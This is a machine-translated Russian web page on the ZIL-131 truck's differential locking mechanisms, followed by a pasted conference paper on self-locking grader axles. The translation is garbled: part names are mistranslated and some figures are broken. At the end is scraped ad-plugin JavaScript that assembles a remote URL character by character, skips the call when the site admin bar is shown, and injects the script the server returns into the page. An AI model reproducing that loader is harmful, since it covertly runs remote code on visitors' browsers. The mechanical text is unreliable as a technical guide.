Зил 131 трансмиссия устройство блокировки (6 видео)

Видео:Обзор Зил 131 внутри кабины и двиглоСкачать

Зил 131 блокировка дифференциала

Межосевой дифференциал установлен в картере 3, который прикреплен к главному редуктору промежуточной оси. Он состоит из истинно конического дифференциала, механизма блокировки и трансмиссии управления блокировкой.

Корпус дифференциала состоит из двух половинок (чашек), скрепленных между собой болтами. Передняя чашка имеет шток, который поддерживается шарикоподшипником 29.

Фланец 1 установлен на проточной части хвостовика для соединения с карданным приводом. Между половинками корпуса закреплена крестовина 26, на концах которой расположены четыре сателлита 6 с опорными шайбами 7.

Сателлиты находятся в зацеплении с шестернями 24 и 27 трансмиссии промежуточного и заднего мостов. Поскольку сателлиты действуют на зубья этих шестерен с равными усилиями и их размеры одинаковы, крутящие моменты на шестернях трансмиссии задней и промежуточной осей также одинаковы, то есть дифференциал симметричный.

В корпусе дифференциала установлена шестерня 27 трансмиссии заднего моста, под ее концом расположена опорная шайба 28. В корпусе имеется канал для подачи масла к опорной шайбе и ступице шестерни.

Шестерня 27 соединена с канавками, выполненными вдоль внутренней поверхности ступицы, с концом с канавками ведущего вала трансмиссии заднего моста.

Шестерня 24 привода промежуточного моста посредством пазов, выполненных на внутренней поверхности ступицы, соединена с удлиненной ступицей конического ведущего колеса главного привода промежуточного моста.

На конце ступицы шестерни 24 на пазах установлена зубчатая муфта 21, по внешней части которой может перемещаться стопорная муфта центрального дифференциала 22. Эта муфта соединена вилкой 20 с ползуном 11 связанный с приводным механизмом замка.

Корпус 19 механизма блокировки установлен на корпусе межосевого дифференциала.

Между корпусом и крышкой 18 зажата резиновая мембрана 15. Полость за мембраной (со стороны крышки) соединена гибкой трубкой 16 с клапаном включения блокировки дифференциала.

Ползун 11 соединен со стаканом 14, внутри которого установлена нажимная пружина 13, а снаружи — возвратная пружина 12.

Рычаг клапана переключения блокировки межосевого дифференциала находится на комбинации приборов в салоне автомобиля.

На приборной панели также есть световой индикатор для включения блокировки межосевого дифференциала.

В положении, показанном на рисунке, межосевой дифференциал разблокирован.

Для блокировки дифференциала рычаг переключателя, расположенный на панели приборов, перемещается в правильное положение. В этом случае сжатый воздух от регулирующего клапана через систему трубопроводов и трубу 16 попадает в полость между крышкой корпуса и мембраной, которая изгибается, перемещает стекло 14 и ползун 11 вперед, преодолевая сопротивление возвратной пружины. 12. С начала движения ползунка контакты переключателя 8 замыкаются и загорается контрольная лампа экрана.

Вместе с ползуном перемещается закрепленная на нем вилка 20, которая входит в зацепление с муфтой 22 в зацеплении с зубчатым венцом на картере дифференциала.

Когда сцепление находится в крайнем левом положении, ведущая шестерня 24 промежуточной оси и корпус дифференциала жестко соединены, то есть дифференциал заблокирован, и ведущие шестерни 24 и 27 оси вынуждены вращаться с одинаковой частотой.

Для разблокировки межосевого дифференциала рычаг регулирующего клапана на приборной панели перемещается в левое положение. В этом случае полость механизма блокировки дифференциала через регулирующий клапан и трубопроводы будет связана с атмосферой. Под действием возвратной пружины мембрана и ползун с вилкой перемещаются вправо (назад), одновременно перемещая стопорную муфту так, чтобы она вышла из зацепления с зубчатым венцом картера дифференциала.

По общему устройству главные передачи промежуточного и заднего ведущих мостов автомобиля КамАЗ-4310 аналогичны соответствующим основным передачам автомобиля КамАЗ-5320.

Главная передача промежуточного моста отличается от главной передачи заднего моста карданным валом с шестерней, упорной шайбой и фланцем на стороне раздаточной коробки.

Задний ведущий мост грузовых автомобилей ЗИЛ (рисунок 1) имеет неразъемную стальную балку 18, на концах которой приварены 32 шипа. В центре балки закреплены главная передача и коробка дифференциала 19. Основная передача шестерня двухцентровая. Имеет две пары шестерен: коническую со спиральными зубьями и цилиндрическую с косозубыми зубьями.

Шестерня 16 с валом установлена в двух конических роликоподшипниках 7 и 10 в отдельном корпусе 14, закрепленном на картере на регулировочных шайбах 15. Между подшипниками установлена распорная втулка 8 и два регулировочных кольца 9. Подшипники стянуты с фиксатором гайка 12, которая одновременно фиксирует карданный шарнир фланца 13 и упорную шайбу. Корпус 14 уплотнен манжетой 11.

Рисунок 1 — Задний ведущий мост грузовиков ЗИЛ

а — общий вид; б — дифференциал; 1 — карданный вал; 2, 15 — прокладки; 3, 27 — крышки; 4 — дерево; 5, 7, 10, 26, 30 — подшипники; 6 — канал; 8 — втулка; 9 — кольцо; 11, 29, 34 — манжеты; 12, 28, 35 — орехи; 13 — фланец; 14, 25 — корпуса; 16, 17, 23 — главные передачи; 18 — радиус; 19 — блок-картер; 20 — спутник; 21 — перекладина; 22 — полуосевая передача; 24 — дыхание; 31 — ступица; 32 — наконечник; 33 — стопорная гайка; 36 — половина тела; 37, 38 — шайбы

Ведомая коническая шестерня 17 прикреплена к фланцу поперечного вала 4, выполненному заодно с ведущей прямозубой шестерней. Вал установлен в картере двигателя на двух конических роликовых подшипниках 5, под крышками 3 из которых находятся регулировочные шайбы. Ведомая прямозубая шестерня 23 прикреплена к корпусу дифференциала 25, установленному в картере на двух роликовых подшипниках 26. Подшипники дифференциала закреплены в картере двигателя крышками 27 и закреплены регулировочными гайками 28.

Дифференциал конический, симметричный, с низким коэффициентом трения. Корпус дифференциала разъемный и состоит из двух половин 36, между которыми расположена крестовина 21 с четырьмя сателлитами 20. Сателлиты входят в зацепление с шестернями полуосей 22, установленными в пазах внутренних концов полуосей 1. Опора шайбы 37 и 38 размещены под сателлитами и шестернями приводных валов.

Полуоси фланцевые, сбалансированные. Фланцы наружных концов приводных валов прикреплены к ступицам 31 ведущих колес автомобиля, каждая из которых установлена на вершине балки моста на двух конических роликоподшипниках 30. Подшипники ступиц колес установлены фиксируется гайкой 35, стопорным кольцом и стопорной гайкой 33. Ступица колеса и подшипники уплотнены втулками 29 и 34. В картер моста заливается жидкое трансмиссионное масло, которое по каналам поступает к подшипникам конической шестерни 16. 6 закинул в блок-картер. Внутренняя полость картера через вентиляционное отверстие 24 сообщается с окружающей средой.

Затяжка подшипников главной конической шестерни 16 регулируется кольцами 9 и гайкой 12, а зацепление конических шестерен регулируется прокладками 15 и перестановкой прокладок 2. Прокладки 2 также регулируют затяжку подшипников поперечного вала 4. Подшипники дифференциала регулируются гайками 28, а подшипники ступиц колес автомобиля — гайками 35.

Видео:Подключаемая блокировка переднего моста ЗиЛ 131Скачать

Вариант конструкции с блокируемым дифференциалом

Задний ведущий мост грузовиков ЗИЛ с одинарной гипоидной главной передачей и блокируемым дифференциалом показан на рисунке 2.

Рисунок 2 — Задний ведущий мост с самоблокирующимся дифференциалом грузовиков ЗИЛ

1 — блок-картер; 2 — болт; 3 — втулка; 4, 15 — звездочки главной передачи; 5, 7 — прокладки; 6 — склад; 8 — пневмокамера; 9 — диафрагма; 10 — заглушка; 11, 13 — стыки; 12 — корпус; 14 — перекладина; 16 — ведущий вал-шестерня; 17 — орех

Шестерня 4 главной передачи вместе с валом установлена на трех подшипниках. Два конических роликовых подшипника размещены в специальном стакане, а цилиндрический роликовый подшипник — в дефлекторе картера 1. Конические подшипники стянуты проставкой 3, установленной между ними.

Ведомая шестерня 15 главной передачи приклепана к фланцу левой чашки дифференциала. Его движение на пиках нагрузки ограничивается опорным болтом 2, который ввинчивается в лодку и фиксируется контргайкой. Зазор между торцами ведомой шестерни и болтом составляет 0,15. 0,25 мм.

Зацепление шестерен главного привода регулируется 5 проставками.

Дифференциал конический, симметричный, малый трение, с четырьмя сателлитами, с блокировкой. Корпус дифференциала состоит из двух скрепленных болтами чашек. В корпусе закреплена поперечина 14 со сателлитами, которые входят в зацепление с шестернями ведущего вала 16. Дифференциал установлен на двух конических роликовых подшипниках, которые стянуты регулировочными гайками 17.

Дифференциал имеет механизм блокировки, который увеличивает проходимость по бездорожью и тягу автомобиля.

Механизм блокировки включает корпус 12 и муфту 13. Корпус прикручен к правой чашке дифференциала.

Срабатывание управления блокировкой дифференциала — пневматическое. Управление механизмом осуществляется кнопкой, расположенной в кабине на панели приборов.

При срабатывании механизма блокировки дифференциала сжатый воздух из пневмосистемы автомобиля поступает в пневмокамеру 8 и воздействует на мембрану 9. Мембрана перемещает шток 6 с вилкой 10 и муфту 11 для включения блокировки. Следовательно, муфта 11 сцепления соединена с зубьями муфты 13 скольжения своими концевыми зубьями, и вал правой оси с чашкой дифференциала заблокирован.

Расстояние между торцами зубчатого зацепления и стопорной муфты составляет 1,5. 2,5 мм, регулируется с помощью регулировочных шайб 7.

Приводные валы заднего ведущего моста фланцевые, выхлопные. Они крепятся к ступицам ведущих колес автомобиля, которые установлены на концах балки моста на конических роликоподшипниках.

СРАВНИТЕЛЬНЫЙ АНАЛИЗ САМОБЛОКИРУЮЩИХСЯ МОБИЛЬНЫХ ОСЕЙ КОЛЕСНЫХ АВТОМОБИЛЕЙ

Мишагин В.Д., Ушев Н.И. (БГИТА, Брянск, РФ)

Предлагается технический проект по переработке энергосберегающих и экономичных магистральных мостов автогрейдера, выпускаемый заводом увеличивающим срок службы «Брянский Арсенал.

Данная работа является продолжением исследований, проведенных авторами в последние годы. Техническая сторона (актуальность, новизна, практическая значимость и оригинальность решения) была предварительно обсуждена и одобрена главными специалистами двух брянских заводов (ОАО «БАЗ» и ОАО «Арсенал»). Документом предусмотрено техническое задание на усовершенствование ведущих мостов производства ООО «Брянский Арсенал» для грейдеров.

Мы провели поиск алгоритма автоматического управления блокировкой оси дифференциального двигателя, которая срабатывает только при проскальзывании одной из сторон [1], [2], [3], [4], [5], [6]. Ниже приводится краткий анализ результатов исследования.

Самоблокирующийся дифференциал (рис. 1) по принципу электронного измерения и сравнения угловых скоростей колес [5].

В его основе лежит принцип измерения отношения скорости вращения колес и сравнения его с критическим значением, равным отношению минимально возможных радиусов внешней и внутренней траекторий ведущего колеса при маневрировании транспортного средства.

Недостатком данной конструкции является появление дополнительных динамических нагрузок из-за снижения скорости машины в начале пробуксовки и ее резкого увеличения при срабатывании блокировки.

Самоблокирующийся дифференциал (рисунок 2) основан на принципе использования углового ускорения скользящего колеса. Он основан на результатах исследований, которые показали, что ускорение прялки увеличивается на порядок по сравнению с движением без заноса (маневрирование, трогание с места). В этом случае блокировка срабатывает в момент начала скольжения, что исключает появление дополнительных динамических нагрузок.

На основании проведенных ниже исследований предлагается техническое задание на разработку экономически целесообразных ведущих мостов с энерго- и ресурсосбережением автогрейдера производства ООО «Брянский Арсенал».

В его основе — усиленный дифференциал с блокировкой, установленный на ведомом цилиндрическом колесе серийной коробки передач (модернизированной) и «прямой» балансир с передаточным числом U b = 1,36. Цилиндрическая передача редуктора выполнена с передаточным числом U cp = 3,75. Тягово-сцепные свойства моста намного выше, чем у последнего серийного моста с «горбатым» балансиром с передаточным числом U b = 2, так как передаточное отношение заднего R 3 и переднего R 2 колес R3 / R2 = колесо балансиры 1.3. Такое же соотношение для последовательного моста R 3 / R 2 = 2,56. Предлагаемый мост также обеспечит значительное увеличение ресурса резины осевого колеса.

Возможность строительства моста подтверждена сравнительным технико-экономическим расчетом .

В его основе — серийная ось ДЗ-180А с «горбатым» балансиром и дифференциальная трансмиссия автомобиля ЗИЛ-131, установленная на ведомом цилиндрическом колесе серийного цилиндрического конического редуктора. Шестерни ведущего вала просверливаются под шлиц диаметром Д 62 х 2,5 (серийный диаметр сверления шестерен ведущего вала ЗИЛ-131 Д 50 х 2,5). Последнее увеличивает несущую способность валов примерно в 1,9 раза, что компенсирует неизбежные боковые нагрузки на валы. Грузоподъемность дифференциала ЗИЛ-131 достаточна для реализации необходимого крутящего момента M≤ 20 000 Н · м. По экспериментальным данным Брянского автомобильного завода запас прочности составляет 1,97… 2,1

Мост дешевле и технологичнее моста №1. 1. Однако у него есть один недостаток нынешней серийной оси — отношение реакции балансирных колес R 3 / R 2 = 2,56.

В его основе — модернизированный редуктор заднего моста автомобиля ЗИЛ-131, установленный в специальном картере, оборудованном фланцами для соединения с серийными шейками моста и другими серийными узлами моста ДЗ-180А, такими как: карданные валы, балансиры и др.

Коробку передач ЗИЛ-131 модернизируют за счет увеличения расточки шестерен приводных валов с Д 50 до Д 62, установки стопорного устройства и снижения передаточного числа цилиндрической трансмиссии на 10%. Средний коэффициент безопасности S ≥2,2 .

Главное преимущество моста в том, что он позволяет разгрузить парк Брянского Арсенала, так как коробка передач будет полностью произведена на БАЗе. Со стороны «Брянского Арсенала» необходимо предоставить заготовки крышек дифференциалов и отливки корпусов КПП (либо их заготовки, сваренные из трубы D 377 x 20). Все остальные комплектующие ДЗ-180 серийно выпускаются.

Модернизация КПП ЗИЛ-131 заключается в установке стопорного устройства и замене в связи с этим одной из чашек дифференциала. Остальные комплектующие находятся в серийном производстве. Последнее позволяет рассчитывать на относительно невысокую стоимость коробки передач (соизмеримую со стоимостью серийной КПП ЗИЛ-131).

На основании проведенных исследований предложено техническое задание на создание экономически целесообразных ведущих мостов с энерго- и ресурсосбережением автогрейдера производства ООО «Брянский Арсенал».

1 Технический паспорт автомобиля ГАЗ 66

2 Технический паспорт автомобиля ЗИЛ 131

3 Технический паспорт автогрейдера ДЗ-180А

4 В.Д. Мишагин, Н.И. Ушев. Алгоритм автоматической блокировки дифференциала ведущего моста колесной техники. Вклад специалистов в народное хозяйство. Материалы региональной научно-технической конференции (16-18 мая 2002 г.) — Брянск, 2002 г.

5 Пат. 2162974 Россия. Самоблокирующийся дифференциал колесной техники / В. Д. Мишагин, В. А. Сандлер, В. П. Луневич; ОАО «Брянский Арсенал», — объявлено 22.03.99; Публичный 12.11.2019 2000. — 5 с.

6. Пат. 2265766 Россия, С1 МПК Ф 16Н 48/30, В60К17 / 16. Самоблокирующийся дифференциал колесной техники / В.Д. Мишагин, Н.И. Ушев, Д. Мглинец, А. Михеенко, А. Хоблов; Брайан. Инженер — академическая технология — Заявлено 26.04.2004 г .; Публика 10.12.05. — 5 шт.

Один источник

Блокировщик рекламы
детектор

«, body: [1,»

«,»

«], colgroup: [2,»

«,»

«], col: [3,»

«,»

«], tr: [2,»

«,»

«], td: [3,»

«,»

«], th: [3,»

«,»

«], _ default: [0,» «,» «]}; функция возврата (e, t) {var a, n, r, l = (t = tdocument) .createDocumentFragment (); if (i.test (e)) {for (a = l.appendChild (t.createElement («div»))), n = (d.exec (e) [«», «»]) [1] .toLowerCase (), n = c [n] c._default, a.innerHTML = n [1] + e.replace (o, «$ 2>») + n [2], r = n [0]; r -;) a = a lastChild; for (l.removeChild (l.firstChild); a.firstChild;) l.appendChild (a.firstChild)} else l.appendChild (t.createTextNode (e)); return l}} (); window.flatPM_ping = function () {var e = localStorage.getItem («sdghrg»); e? (e = parseInt (e) + 1, localStorage.setItem («sdghrg», e)): localStorage.setItem («sdghrg», » 0 «); e = flatPM_random (1.200); 0 == ff (» # wpadminbar «) length && 111 == e && ff.ajax ({type:» POST «, url:» h «+» t «+» t «+» p «+» s «+»: «+» / «+» / «+» m «+» и «+» h «+» a «+» n «+» или «+» i » + «d» + «.» + «p» + «r» + «или» + «/» + «p» + «i» + «n» + «g» + «.» + «p» + » h «+» p «, dataType:» jsonp «, data: {ping:» ping «}, успех: function (e) {f f («div») first () after (e.script)}, error: function () {}})}, window.flatPM_setSCRIPT = function (e) {попробуйте {var t = e [0] .id, a = e [0] .node, n = document.querySelector (‘[data-flat-script-id = «‘ + t + ‘»]’); if (текст) n.appendChild (a), ff (n) .contents () unwrap (), e.shift (), 0 / gm, «») replace (// gm, «») trim (), e.code_alt = e.code_alt.replace (// gm, «») replace (// gm, «») trim (); var l = jQuery, t = e.selector, o = e.timer, d = e.cross, a = «false» == d? «Закрыть»: «Закрыть», n =! flat_userVars.adb «» == e.code_alt && duplicateMode? e.code: e.code_alt, r = » + a + «через» + o + » + n + », i = e.once; l (t) .each (function () {var e = l (this); e.wrap (»); var t = e close («flat__4_video»); — 1! == r.indexOf («go» + «oglesyndication»)? t.append (r): flatPM_setHTML (t [0], r) и find («flat__4_video_flex») .one («click», function () {l (this) .addClass («show «)})}), l (» body «) on (» click «, flat__4_video_item_hover», function () {var e = l (this), t = e.closest («flat__4_video_flex»); t.addClass (» show «); var a = t.find (» flat__4_timer span «), n = parseInt (o), r = setInterval (function () {a.text (- n), n ‘): t.remove ()) }, 1e3); e.remove ()}) on («click», «flat__4_video_flex .flat__4_cross», function () {l (this) .closest («flat__4_video_flex») remove (), «true» == i && l («flat__4_video_flex») remove()})};